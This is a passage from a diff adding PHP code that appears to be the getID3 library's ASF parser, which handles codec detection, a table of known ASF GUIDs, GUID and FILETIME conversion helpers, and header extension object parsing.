4)); + $offset += 4; + } + } + break; + + + default: + // Implementations shall ignore any standard or non-standard object that they do not know how to handle. + if ($this->GUIDname($NextObjectGUIDtext)) { + $this->warning('unhandled GUID "'.$this->GUIDname($NextObjectGUIDtext).'" {'.$NextObjectGUIDtext.'} in ASF body at offset '.($offset - 16 - 8)); + } else { + $this->warning('unknown GUID {'.$NextObjectGUIDtext.'} in ASF body at offset '.($this->ftell() - 16 - 8)); + } + $this->fseek(($NextObjectSize - 16 - 8), SEEK_CUR); + break; + } + } + + if (isset($thisfile_asf_codeclistobject['codec_entries']) && is_array($thisfile_asf_codeclistobject['codec_entries'])) { + foreach ($thisfile_asf_codeclistobject['codec_entries'] as $streamnumber => $streamdata) { + switch ($streamdata['information']) { + case 'WMV1': + case 'WMV2': + case 'WMV3': + case 'MSS1': + case 'MSS2': + case 'WMVA': + case 'WVC1': + case 'WMVP': + case 'WVP2': + $thisfile_video['dataformat'] = 'wmv'; + $info['mime_type'] = 'video/x-ms-wmv'; + break; + + case 'MP42': + case 'MP43': + case 'MP4S': + case 'mp4s': + $thisfile_video['dataformat'] = 'asf'; + $info['mime_type'] = 'video/x-ms-asf'; + break; + + default: + switch ($streamdata['type_raw']) { + case 1: + if (strstr($this->TrimConvert($streamdata['name']), 'Windows Media')) { + $thisfile_video['dataformat'] = 'wmv'; + if ($info['mime_type'] == 'video/x-ms-asf') { + $info['mime_type'] = 'video/x-ms-wmv'; + } + } + break; + + case 2: + if (strstr($this->TrimConvert($streamdata['name']), 'Windows Media')) { + $thisfile_audio['dataformat'] = 'wma'; + if ($info['mime_type'] == 'video/x-ms-asf') { + $info['mime_type'] = 'audio/x-ms-wma'; + } + } + break; + + } + break; + } + } + } + + switch (isset($thisfile_audio['codec']) ? $thisfile_audio['codec'] : '') { + case 'MPEG Layer-3': + $thisfile_audio['dataformat'] = 'mp3'; + break; + + default: + break; + } + + if (isset($thisfile_asf_codeclistobject['codec_entries'])) { + foreach ($thisfile_asf_codeclistobject['codec_entries'] as $streamnumber => $streamdata) { + switch ($streamdata['type_raw']) { + + case 1: // video + $thisfile_video['encoder'] = $this->TrimConvert($thisfile_asf_codeclistobject['codec_entries'][$streamnumber]['name']); + break; + + case 2: // audio + $thisfile_audio['encoder'] = $this->TrimConvert($thisfile_asf_codeclistobject['codec_entries'][$streamnumber]['name']); + + // AH 2003-10-01 + $thisfile_audio['encoder_options'] = $this->TrimConvert($thisfile_asf_codeclistobject['codec_entries'][0]['description']); + + $thisfile_audio['codec'] = $thisfile_audio['encoder']; + break; + + default: + $this->warning('Unknown streamtype: [codec_list_object][codec_entries]['.$streamnumber.'][type_raw] == '.$streamdata['type_raw']); + break; + + } + } + } + + if (isset($info['audio'])) { + $thisfile_audio['lossless'] = (isset($thisfile_audio['lossless']) ? $thisfile_audio['lossless'] : false); + $thisfile_audio['dataformat'] = (!empty($thisfile_audio['dataformat']) ? $thisfile_audio['dataformat'] : 'asf'); + } + if (!empty($thisfile_video['dataformat'])) { + $thisfile_video['lossless'] = (isset($thisfile_audio['lossless']) ? $thisfile_audio['lossless'] : false); + $thisfile_video['pixel_aspect_ratio'] = (isset($thisfile_audio['pixel_aspect_ratio']) ? $thisfile_audio['pixel_aspect_ratio'] : (float) 1); + $thisfile_video['dataformat'] = (!empty($thisfile_video['dataformat']) ? $thisfile_video['dataformat'] : 'asf'); + } + if (!empty($thisfile_video['streams'])) { + $thisfile_video['resolution_x'] = 0; + $thisfile_video['resolution_y'] = 0; + foreach ($thisfile_video['streams'] as $key => $valuearray) { + if (($valuearray['resolution_x'] > $thisfile_video['resolution_x']) || ($valuearray['resolution_y'] > $thisfile_video['resolution_y'])) { + $thisfile_video['resolution_x'] = $valuearray['resolution_x']; + $thisfile_video['resolution_y'] = $valuearray['resolution_y']; + } + } + } + $info['bitrate'] = (isset($thisfile_audio['bitrate']) ? $thisfile_audio['bitrate'] : 0) + (isset($thisfile_video['bitrate']) ? $thisfile_video['bitrate'] : 0); + + if ((!isset($info['playtime_seconds']) || ($info['playtime_seconds'] <= 0)) && ($info['bitrate'] > 0)) { + $info['playtime_seconds'] = ($info['filesize'] - $info['avdataoffset']) / ($info['bitrate'] / 8); + } + + return true; + } + + /** + * @param int $CodecListType + * + * @return string + */ + public static function codecListObjectTypeLookup($CodecListType) { + static $lookup = array( + 0x0001 => 'Video Codec', + 0x0002 => 'Audio Codec', + 0xFFFF => 'Unknown Codec' + ); + + return (isset($lookup[$CodecListType]) ? $lookup[$CodecListType] : 'Invalid Codec Type'); + } + + /** + * @return array + */ + public static function KnownGUIDs() { + static $GUIDarray = array( + 'GETID3_ASF_Extended_Stream_Properties_Object' => '14E6A5CB-C672-4332-8399-A96952065B5A', + 'GETID3_ASF_Padding_Object' => '1806D474-CADF-4509-A4BA-9AABCB96AAE8', + 'GETID3_ASF_Payload_Ext_Syst_Pixel_Aspect_Ratio' => '1B1EE554-F9EA-4BC8-821A-376B74E4C4B8', + 'GETID3_ASF_Script_Command_Object' => '1EFB1A30-0B62-11D0-A39B-00A0C90348F6', + 'GETID3_ASF_No_Error_Correction' => '20FB5700-5B55-11CF-A8FD-00805F5C442B', + 'GETID3_ASF_Content_Branding_Object' => '2211B3FA-BD23-11D2-B4B7-00A0C955FC6E', + 'GETID3_ASF_Content_Encryption_Object' => '2211B3FB-BD23-11D2-B4B7-00A0C955FC6E', + 'GETID3_ASF_Digital_Signature_Object' => '2211B3FC-BD23-11D2-B4B7-00A0C955FC6E', + 'GETID3_ASF_Extended_Content_Encryption_Object' => '298AE614-2622-4C17-B935-DAE07EE9289C', + 'GETID3_ASF_Simple_Index_Object' => '33000890-E5B1-11CF-89F4-00A0C90349CB', + 'GETID3_ASF_Degradable_JPEG_Media' => '35907DE0-E415-11CF-A917-00805F5C442B', + 'GETID3_ASF_Payload_Extension_System_Timecode' => '399595EC-8667-4E2D-8FDB-98814CE76C1E', + 'GETID3_ASF_Binary_Media' => '3AFB65E2-47EF-40F2-AC2C-70A90D71D343', + 'GETID3_ASF_Timecode_Index_Object' => '3CB73FD0-0C4A-4803-953D-EDF7B6228F0C', + 'GETID3_ASF_Metadata_Library_Object' => '44231C94-9498-49D1-A141-1D134E457054', + 'GETID3_ASF_Reserved_3' => '4B1ACBE3-100B-11D0-A39B-00A0C90348F6', + 'GETID3_ASF_Reserved_4' => '4CFEDB20-75F6-11CF-9C0F-00A0C90349CB', + 'GETID3_ASF_Command_Media' => '59DACFC0-59E6-11D0-A3AC-00A0C90348F6', + 'GETID3_ASF_Header_Extension_Object' => '5FBF03B5-A92E-11CF-8EE3-00C00C205365', + 'GETID3_ASF_Media_Object_Index_Parameters_Obj' => '6B203BAD-3F11-4E84-ACA8-D7613DE2CFA7', + 'GETID3_ASF_Header_Object' => '75B22630-668E-11CF-A6D9-00AA0062CE6C', + 'GETID3_ASF_Content_Description_Object' => '75B22633-668E-11CF-A6D9-00AA0062CE6C', + 'GETID3_ASF_Error_Correction_Object' => '75B22635-668E-11CF-A6D9-00AA0062CE6C', + 'GETID3_ASF_Data_Object' => '75B22636-668E-11CF-A6D9-00AA0062CE6C', + 'GETID3_ASF_Web_Stream_Media_Subtype' => '776257D4-C627-41CB-8F81-7AC7FF1C40CC', + 'GETID3_ASF_Stream_Bitrate_Properties_Object' => '7BF875CE-468D-11D1-8D82-006097C9A2B2', + 'GETID3_ASF_Language_List_Object' => '7C4346A9-EFE0-4BFC-B229-393EDE415C85', + 'GETID3_ASF_Codec_List_Object' => '86D15240-311D-11D0-A3A4-00A0C90348F6', + 'GETID3_ASF_Reserved_2' => '86D15241-311D-11D0-A3A4-00A0C90348F6', + 'GETID3_ASF_File_Properties_Object' => '8CABDCA1-A947-11CF-8EE4-00C00C205365', + 'GETID3_ASF_File_Transfer_Media' => '91BD222C-F21C-497A-8B6D-5AA86BFC0185', + 'GETID3_ASF_Old_RTP_Extension_Data' => '96800C63-4C94-11D1-837B-0080C7A37F95', + 'GETID3_ASF_Advanced_Mutual_Exclusion_Object' => 'A08649CF-4775-4670-8A16-6E35357566CD', + 'GETID3_ASF_Bandwidth_Sharing_Object' => 'A69609E6-517B-11D2-B6AF-00C04FD908E9', + 'GETID3_ASF_Reserved_1' => 'ABD3D211-A9BA-11cf-8EE6-00C00C205365', + 'GETID3_ASF_Bandwidth_Sharing_Exclusive' => 'AF6060AA-5197-11D2-B6AF-00C04FD908E9', + 'GETID3_ASF_Bandwidth_Sharing_Partial' => 'AF6060AB-5197-11D2-B6AF-00C04FD908E9', + 'GETID3_ASF_JFIF_Media' => 'B61BE100-5B4E-11CF-A8FD-00805F5C442B', + 'GETID3_ASF_Stream_Properties_Object' => 'B7DC0791-A9B7-11CF-8EE6-00C00C205365', + 'GETID3_ASF_Video_Media' => 'BC19EFC0-5B4D-11CF-A8FD-00805F5C442B', + 'GETID3_ASF_Audio_Spread' => 'BFC3CD50-618F-11CF-8BB2-00AA00B4E220', + 'GETID3_ASF_Metadata_Object' => 'C5F8CBEA-5BAF-4877-8467-AA8C44FA4CCA', + 'GETID3_ASF_Payload_Ext_Syst_Sample_Duration' => 'C6BD9450-867F-4907-83A3-C77921B733AD', + 'GETID3_ASF_Group_Mutual_Exclusion_Object' => 'D1465A40-5A79-4338-B71B-E36B8FD6C249', + 'GETID3_ASF_Extended_Content_Description_Object' => 'D2D0A440-E307-11D2-97F0-00A0C95EA850', + 'GETID3_ASF_Stream_Prioritization_Object' => 'D4FED15B-88D3-454F-81F0-ED5C45999E24', + 'GETID3_ASF_Payload_Ext_System_Content_Type' => 'D590DC20-07BC-436C-9CF7-F3BBFBF1A4DC', + 'GETID3_ASF_Old_File_Properties_Object' => 'D6E229D0-35DA-11D1-9034-00A0C90349BE', + 'GETID3_ASF_Old_ASF_Header_Object' => 'D6E229D1-35DA-11D1-9034-00A0C90349BE', + 'GETID3_ASF_Old_ASF_Data_Object' => 'D6E229D2-35DA-11D1-9034-00A0C90349BE', + 'GETID3_ASF_Index_Object' => 'D6E229D3-35DA-11D1-9034-00A0C90349BE', + 'GETID3_ASF_Old_Stream_Properties_Object' => 'D6E229D4-35DA-11D1-9034-00A0C90349BE', + 'GETID3_ASF_Old_Content_Description_Object' => 'D6E229D5-35DA-11D1-9034-00A0C90349BE', + 'GETID3_ASF_Old_Script_Command_Object' => 'D6E229D6-35DA-11D1-9034-00A0C90349BE', + 'GETID3_ASF_Old_Marker_Object' => 'D6E229D7-35DA-11D1-9034-00A0C90349BE', + 'GETID3_ASF_Old_Component_Download_Object' => 'D6E229D8-35DA-11D1-9034-00A0C90349BE', + 'GETID3_ASF_Old_Stream_Group_Object' => 'D6E229D9-35DA-11D1-9034-00A0C90349BE', + 'GETID3_ASF_Old_Scalable_Object' => 'D6E229DA-35DA-11D1-9034-00A0C90349BE', + 'GETID3_ASF_Old_Prioritization_Object' => 'D6E229DB-35DA-11D1-9034-00A0C90349BE', + 'GETID3_ASF_Bitrate_Mutual_Exclusion_Object' => 'D6E229DC-35DA-11D1-9034-00A0C90349BE', + 'GETID3_ASF_Old_Inter_Media_Dependency_Object' => 'D6E229DD-35DA-11D1-9034-00A0C90349BE', + 'GETID3_ASF_Old_Rating_Object' => 'D6E229DE-35DA-11D1-9034-00A0C90349BE', + 'GETID3_ASF_Index_Parameters_Object' => 'D6E229DF-35DA-11D1-9034-00A0C90349BE', + 'GETID3_ASF_Old_Color_Table_Object' => 'D6E229E0-35DA-11D1-9034-00A0C90349BE', + 'GETID3_ASF_Old_Language_List_Object' => 'D6E229E1-35DA-11D1-9034-00A0C90349BE', + 'GETID3_ASF_Old_Audio_Media' => 'D6E229E2-35DA-11D1-9034-00A0C90349BE', + 'GETID3_ASF_Old_Video_Media' => 'D6E229E3-35DA-11D1-9034-00A0C90349BE', + 'GETID3_ASF_Old_Image_Media' => 'D6E229E4-35DA-11D1-9034-00A0C90349BE', + 'GETID3_ASF_Old_Timecode_Media' => 'D6E229E5-35DA-11D1-9034-00A0C90349BE', + 'GETID3_ASF_Old_Text_Media' => 'D6E229E6-35DA-11D1-9034-00A0C90349BE', + 'GETID3_ASF_Old_MIDI_Media' => 'D6E229E7-35DA-11D1-9034-00A0C90349BE', + 'GETID3_ASF_Old_Command_Media' => 'D6E229E8-35DA-11D1-9034-00A0C90349BE', + 'GETID3_ASF_Old_No_Error_Concealment' => 'D6E229EA-35DA-11D1-9034-00A0C90349BE', + 'GETID3_ASF_Old_Scrambled_Audio' => 'D6E229EB-35DA-11D1-9034-00A0C90349BE', + 'GETID3_ASF_Old_No_Color_Table' => 'D6E229EC-35DA-11D1-9034-00A0C90349BE', + 'GETID3_ASF_Old_SMPTE_Time' => 'D6E229ED-35DA-11D1-9034-00A0C90349BE', + 'GETID3_ASF_Old_ASCII_Text' => 'D6E229EE-35DA-11D1-9034-00A0C90349BE', + 'GETID3_ASF_Old_Unicode_Text' => 'D6E229EF-35DA-11D1-9034-00A0C90349BE', + 'GETID3_ASF_Old_HTML_Text' => 'D6E229F0-35DA-11D1-9034-00A0C90349BE', + 'GETID3_ASF_Old_URL_Command' => 'D6E229F1-35DA-11D1-9034-00A0C90349BE', + 'GETID3_ASF_Old_Filename_Command' => 'D6E229F2-35DA-11D1-9034-00A0C90349BE', + 'GETID3_ASF_Old_ACM_Codec' => 'D6E229F3-35DA-11D1-9034-00A0C90349BE', + 'GETID3_ASF_Old_VCM_Codec' => 'D6E229F4-35DA-11D1-9034-00A0C90349BE', + 'GETID3_ASF_Old_QuickTime_Codec' => 'D6E229F5-35DA-11D1-9034-00A0C90349BE', + 'GETID3_ASF_Old_DirectShow_Transform_Filter' => 'D6E229F6-35DA-11D1-9034-00A0C90349BE', + 'GETID3_ASF_Old_DirectShow_Rendering_Filter' => 'D6E229F7-35DA-11D1-9034-00A0C90349BE', + 'GETID3_ASF_Old_No_Enhancement' => 'D6E229F8-35DA-11D1-9034-00A0C90349BE', + 'GETID3_ASF_Old_Unknown_Enhancement_Type' => 'D6E229F9-35DA-11D1-9034-00A0C90349BE', + 'GETID3_ASF_Old_Temporal_Enhancement' => 'D6E229FA-35DA-11D1-9034-00A0C90349BE', + 'GETID3_ASF_Old_Spatial_Enhancement' => 'D6E229FB-35DA-11D1-9034-00A0C90349BE', + 'GETID3_ASF_Old_Quality_Enhancement' => 'D6E229FC-35DA-11D1-9034-00A0C90349BE', + 'GETID3_ASF_Old_Number_of_Channels_Enhancement' => 'D6E229FD-35DA-11D1-9034-00A0C90349BE', + 'GETID3_ASF_Old_Frequency_Response_Enhancement' => 'D6E229FE-35DA-11D1-9034-00A0C90349BE', + 'GETID3_ASF_Old_Media_Object' => 'D6E229FF-35DA-11D1-9034-00A0C90349BE', + 'GETID3_ASF_Mutex_Language' => 'D6E22A00-35DA-11D1-9034-00A0C90349BE', + 'GETID3_ASF_Mutex_Bitrate' => 'D6E22A01-35DA-11D1-9034-00A0C90349BE', + 'GETID3_ASF_Mutex_Unknown' => 'D6E22A02-35DA-11D1-9034-00A0C90349BE', + 'GETID3_ASF_Old_ASF_Placeholder_Object' => 'D6E22A0E-35DA-11D1-9034-00A0C90349BE', + 'GETID3_ASF_Old_Data_Unit_Extension_Object' => 'D6E22A0F-35DA-11D1-9034-00A0C90349BE', + 'GETID3_ASF_Web_Stream_Format' => 'DA1E6B13-8359-4050-B398-388E965BF00C', + 'GETID3_ASF_Payload_Ext_System_File_Name' => 'E165EC0E-19ED-45D7-B4A7-25CBD1E28E9B', + 'GETID3_ASF_Marker_Object' => 'F487CD01-A951-11CF-8EE6-00C00C205365', + 'GETID3_ASF_Timecode_Index_Parameters_Object' => 'F55E496D-9797-4B5D-8C8B-604DFE9BFB24', + 'GETID3_ASF_Audio_Media' => 'F8699E40-5B4D-11CF-A8FD-00805F5C442B', + 'GETID3_ASF_Media_Object_Index_Object' => 'FEB103F8-12AD-4C64-840F-2A1D2F7AD48C', + 'GETID3_ASF_Alt_Extended_Content_Encryption_Obj' => 'FF889EF1-ADEE-40DA-9E71-98704BB928CE', + 'GETID3_ASF_Index_Placeholder_Object' => 'D9AADE20-7C17-4F9C-BC28-8555DD98E2A2', // http://cpan.uwinnipeg.ca/htdocs/Audio-WMA/Audio/WMA.pm.html + 'GETID3_ASF_Compatibility_Object' => '26F18B5D-4584-47EC-9F5F-0E651F0452C9', // http://cpan.uwinnipeg.ca/htdocs/Audio-WMA/Audio/WMA.pm.html + ); + return $GUIDarray; + } + + /** + * @param string $GUIDstring + * + * @return string|false + */ + public static function GUIDname($GUIDstring) { + static $GUIDarray = array(); + if (empty($GUIDarray)) { + $GUIDarray = self::KnownGUIDs(); + } + return array_search($GUIDstring, $GUIDarray); + } + + /** + * @param int $id + * + * @return string + */ + public static function ASFIndexObjectIndexTypeLookup($id) { + static $ASFIndexObjectIndexTypeLookup = array(); + if (empty($ASFIndexObjectIndexTypeLookup)) { + $ASFIndexObjectIndexTypeLookup[1] = 'Nearest Past Data Packet'; + $ASFIndexObjectIndexTypeLookup[2] = 'Nearest Past Media Object'; + $ASFIndexObjectIndexTypeLookup[3] = 'Nearest Past Cleanpoint'; + } + return (isset($ASFIndexObjectIndexTypeLookup[$id]) ? $ASFIndexObjectIndexTypeLookup[$id] : 'invalid'); + } + + /** + * @param string $GUIDstring + * + * @return string + */ + public static function GUIDtoBytestring($GUIDstring) { + // Microsoft defines these 16-byte (128-bit) GUIDs in the strangest way: + // first 4 bytes are in little-endian order + // next 2 bytes are appended in little-endian order + // next 2 bytes are appended in little-endian order + // next 2 bytes are appended in big-endian order + // next 6 bytes are appended in big-endian order + + // AaBbCcDd-EeFf-GgHh-IiJj-KkLlMmNnOoPp is stored as this 16-byte string: + // $Dd $Cc $Bb $Aa $Ff $Ee $Hh $Gg $Ii $Jj $Kk $Ll $Mm $Nn $Oo $Pp + + $hexbytecharstring = chr(hexdec(substr($GUIDstring, 6, 2))); + $hexbytecharstring .= chr(hexdec(substr($GUIDstring, 4, 2))); + $hexbytecharstring .= chr(hexdec(substr($GUIDstring, 2, 2))); + $hexbytecharstring .= chr(hexdec(substr($GUIDstring, 0, 2))); + + $hexbytecharstring .= chr(hexdec(substr($GUIDstring, 11, 2))); + $hexbytecharstring .= chr(hexdec(substr($GUIDstring, 9, 2))); + + $hexbytecharstring .= chr(hexdec(substr($GUIDstring, 16, 2))); + $hexbytecharstring .= chr(hexdec(substr($GUIDstring, 14, 2))); + + $hexbytecharstring .= chr(hexdec(substr($GUIDstring, 19, 2))); + $hexbytecharstring .= chr(hexdec(substr($GUIDstring, 21, 2))); + + $hexbytecharstring .= chr(hexdec(substr($GUIDstring, 24, 2))); + $hexbytecharstring .= chr(hexdec(substr($GUIDstring, 26, 2))); + $hexbytecharstring .= chr(hexdec(substr($GUIDstring, 28, 2))); + $hexbytecharstring .= chr(hexdec(substr($GUIDstring, 30, 2))); + $hexbytecharstring .= chr(hexdec(substr($GUIDstring, 32, 2))); + $hexbytecharstring .= chr(hexdec(substr($GUIDstring, 34, 2))); + + return $hexbytecharstring; + } + + /** + * @param string $Bytestring + * + * @return string + */ + public static function BytestringToGUID($Bytestring) { + $GUIDstring = str_pad(dechex(ord($Bytestring[3])), 2, '0', STR_PAD_LEFT); + $GUIDstring .= str_pad(dechex(ord($Bytestring[2])), 2, '0', STR_PAD_LEFT); + $GUIDstring .= str_pad(dechex(ord($Bytestring[1])), 2, '0', STR_PAD_LEFT); + $GUIDstring .= str_pad(dechex(ord($Bytestring[0])), 2, '0', STR_PAD_LEFT); + $GUIDstring .= '-'; + $GUIDstring .= str_pad(dechex(ord($Bytestring[5])), 2, '0', STR_PAD_LEFT); + $GUIDstring .= str_pad(dechex(ord($Bytestring[4])), 2, '0', STR_PAD_LEFT); + $GUIDstring .= '-'; + $GUIDstring .= str_pad(dechex(ord($Bytestring[7])), 2, '0', STR_PAD_LEFT); + $GUIDstring .= str_pad(dechex(ord($Bytestring[6])), 2, '0', STR_PAD_LEFT); + $GUIDstring .= '-'; + $GUIDstring .= str_pad(dechex(ord($Bytestring[8])), 2, '0', STR_PAD_LEFT); + $GUIDstring .= str_pad(dechex(ord($Bytestring[9])), 2, '0', STR_PAD_LEFT); + $GUIDstring .= '-'; + $GUIDstring .= str_pad(dechex(ord($Bytestring[10])), 2, '0', STR_PAD_LEFT); + $GUIDstring .= str_pad(dechex(ord($Bytestring[11])), 2, '0', STR_PAD_LEFT); + $GUIDstring .= str_pad(dechex(ord($Bytestring[12])), 2, '0', STR_PAD_LEFT); + $GUIDstring .= str_pad(dechex(ord($Bytestring[13])), 2, '0', STR_PAD_LEFT); + $GUIDstring .= str_pad(dechex(ord($Bytestring[14])), 2, '0', STR_PAD_LEFT); + $GUIDstring .= str_pad(dechex(ord($Bytestring[15])), 2, '0', STR_PAD_LEFT); + + return strtoupper($GUIDstring); + } + + /** + * @param int $FILETIME + * @param bool $round + * + * @return float|int + */ + public static function FILETIMEtoUNIXtime($FILETIME, $round=true) { + // FILETIME is a 64-bit unsigned integer representing + // the number of 100-nanosecond intervals since January 1, 1601 + // UNIX timestamp is number of seconds since January 1, 1970 + // 116444736000000000 = 10000000 * 60 * 60 * 24 * 365 * 369 + 89 leap days + if ($round) { + return intval(round(($FILETIME - 116444736000000000) / 10000000)); + } + return ($FILETIME - 116444736000000000) / 10000000; + } + + /** + * @param int $WMpictureType + * + * @return string + */ + public static function WMpictureTypeLookup($WMpictureType) { + static $lookup = null; + if ($lookup === null) { + $lookup = array( + 0x03 => 'Front Cover', + 0x04 => 'Back Cover', + 0x00 => 'User Defined', + 0x05 => 'Leaflet Page', + 0x06 => 'Media Label', + 0x07 => 'Lead Artist', + 0x08 => 'Artist', + 0x09 => 'Conductor', + 0x0A => 'Band', + 0x0B => 'Composer', + 0x0C => 'Lyricist', + 0x0D => 'Recording Location', + 0x0E => 'During Recording', + 0x0F => 'During Performance', + 0x10 => 'Video Screen Capture', + 0x12 => 'Illustration', + 0x13 => 'Band Logotype', + 0x14 => 'Publisher Logotype' + ); + $lookup = array_map(function($str) { + return getid3_lib::iconv_fallback('UTF-8', 'UTF-16LE', $str); + }, $lookup); + } + + return (isset($lookup[$WMpictureType]) ? $lookup[$WMpictureType] : ''); + } + + /** + * @param string $asf_header_extension_object_data + * @param int $unhandled_sections + * + * @return array + */ + public function HeaderExtensionObjectDataParse(&$asf_header_extension_object_data, &$unhandled_sections) { + // http://msdn.microsoft.com/en-us/library/bb643323.aspx + + $offset = 0; + $objectOffset = 0; + $HeaderExtensionObjectParsed = array(); + while ($objectOffset < strlen($asf_header_extension_object_data)) { + $offset = $objectOffset; + $thisObject = array(); + + $thisObject['guid'] = substr($asf_header_extension_object_data, $offset, 16); + $offset += 16; + $thisObject['guid_text'] = $this->BytestringToGUID($thisObject['guid']); + $thisObject['guid_name'] = $this->GUIDname($thisObject['guid_text']); + + $thisObject['size'] = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset, 8)); + $offset += 8; + if ($thisObject['size'] <= 0) { + break; + } + + switch ($thisObject['guid']) { + case GETID3_ASF_Extended_Stream_Properties_Object: + $thisObject['start_time'] = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset, 8)); + $offset += 8; + $thisObject['start_time_unix'] = $this->FILETIMEtoUNIXtime($thisObject['start_time']); + + $thisObject['end_time'] = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset, 8)); + $offset += 8; + $thisObject['end_time_unix'] = $this->FILETIMEtoUNIXtime($thisObject['end_time']); + + $thisObject['data_bitrate'] = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset, 4)); + $offset += 4; + + $thisObject['buffer_size'] = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset, 4)); + $offset += 4; + + $thisObject['initial_buffer_fullness'] = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset, 4)); + $offset += 4; + + $thisObject['alternate_data_bitrate'] = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset, 4)); + $offset += 4; + + $thisObject['alternate_buffer_size'] = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset, 4)); + $offset += 4; + + $thisObject['alternate_initial_buffer_fullness'] = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset, 4)); + $offset += 4; + + $thisObject['maximum_object_size'] = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset, 4)); + $offset += 4; + + $thisObject['flags_raw'] = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset, 4)); + $offset += 4; + $thisObject['flags']['reliable'] = (bool) $thisObject['flags_raw'] & 0x00000001; + $thisObject['flags']['seekable'] = (bool) $thisObject['flags_raw'] & 0x00000002; + $thisObject['flags']['no_cleanpoints'] = (bool) $thisObject['flags_raw'] & 0x00000004; + $thisObject['flags']['resend_live_cleanpoints'] = (bool) $thisObject['flags_raw'] & 0x00000008; + + $thisObject['stream_number'] = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset, 2)); + $offset += 2; + + $thisObject['stream_language_id_index'] = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset, 2)); + $offset += 2; + + $thisObject['average_time_per_frame'] = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset, 4)); + $offset += 4; + + $thisObject['stream_name_count'] = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset, 2)); + $offset += 2; + + $thisObject['payload_extension_system_count'] = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset, 2)); + $offset += 2; + + for ($i = 0; $i < $thisObject['stream_name_count']; $i++) { + $streamName = array(); + + $streamName['language_id_index'] = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset, 2)); + $offset += 2; + + $streamName['stream_name_length'] = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset, 2)); + $offset += 2; + + $streamName['stream_name'] = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset, $streamName['stream_name_length'])); + $offset += $streamName['stream_name_length']; + + $thisObject['stream_names'][$i] = $streamName; + } + + for ($i = 0; $i < $thisObject['payload_extension_system_count']; $i++) { + $payloadExtensionSystem = array(); + + $payloadExtensionSystem['extension_system_id'] = substr($asf_header_extension_object_data, $offset, 16); + $offset += 16; + $payloadExtensionSystem['extension_system_id_text'] = $this->BytestringToGUID($payloadExtensionSystem['extension_system_id']); + + $payloadExtensionSystem['extension_system_size'] = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset, 2)); + $offset += 2; + if ($payloadExtensionSystem['extension_system_size'] <= 0) { + break 2; + } + + $payloadExtensionSystem['extension_system_info_length'] = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset, 4)); + $offset += 4; + + $payloadExtensionSystem['extension_system_info_length'] = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset, $payloadExtensionSystem['extension_system_info_length'])); + $offset += $payloadExtensionSystem['extension_system_info_length']; + + $thisObject['payload_extension_systems'][$i] = $payloadExtensionSystem; + } + + break; + + case GETID3_ASF_Padding_Object: + // padding, skip it + break; + + case GETID3_ASF_Metadata_Object: + $thisObject['description_record_counts'] = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset, 2)); + $offset += 2; + + for ($i = 0; $i < $thisObject['description_record_counts']; $i++) { + $descriptionRecord = array(); + + $descriptionRecord['reserved_1'] = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset, 2)); // must be zero + $offset += 2; + + $descriptionRecord['stream_number'] = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset, 2)); + $offset += 2; + + $descriptionRecord['name_length'] = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset, 2)); + $offset += 2; + + $descriptionRecord['data_type'] = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset, 2)); + $offset += 2; + $descriptionRecord['data_type_text'] = self::metadataLibraryObjectDataTypeLookup($descriptionRecord['data_type']); + + $descriptionRecord['data_length'] = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset, 4)); + $offset += 4; + + $descriptionRecord['name'] = substr($asf_header_extension_object_data, $offset, $descriptionRecord['name_length']); + $offset += $descriptionRecord['name_length']; + + $descriptionRecord['data'] = substr($asf_header_extension_object_data, $offset, $descriptionRecord['data_length']); + $offset += $descriptionRecord['data_length']; + switch ($descriptionRecord['data_type']) { + case 0x0000: // Unicode string + break; + + case 0x0001: // BYTE array + // do nothing + break; + + case 0x0002: // BOOL + $descriptionRecord['data'] = (bool) getid3_lib::LittleEndian2Int($descriptionRecord['data']); + break; + + case 0x0003: // DWORD + case 0x0004: // QWORD + case 0x0005: // WORD + $descriptionRecord['data'] = getid3_lib::LittleEndian2Int($descriptionRecord['data']); + break; + + case 0x0006: // GUID + $descriptionRecord['data_text'] = $this->BytestringToGUID($descriptionRecord['data']); + break; + } + + $thisObject['description_record'][$i] = $descriptionRecord; + } + break; + + case GETID3_ASF_Language_List_Object: + $thisObject['language_id_record_counts'] = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset, 2)); + $offset += 2; + + for ($i = 0; $i < $thisObject['language_id_record_counts']; $i++) { + $languageIDrecord = array(); + + $languageIDrecord['language_id_length'] = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset, 1)); + $offset += 1; + + $languageIDrecord['language_id'] = substr($asf_header_extension_object_data, $offset, $languageIDrecord['language_id_length']); + $offset += $languageIDrecord['language_id_length']; + + $thisObject['language_id_record'][$i] = $languageIDrecord; + } + break; + + case GETID3_ASF_Metadata_Library_Object: + $thisObject['description_records_count'] = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset, 2)); + $offset += 2; + + for ($i = 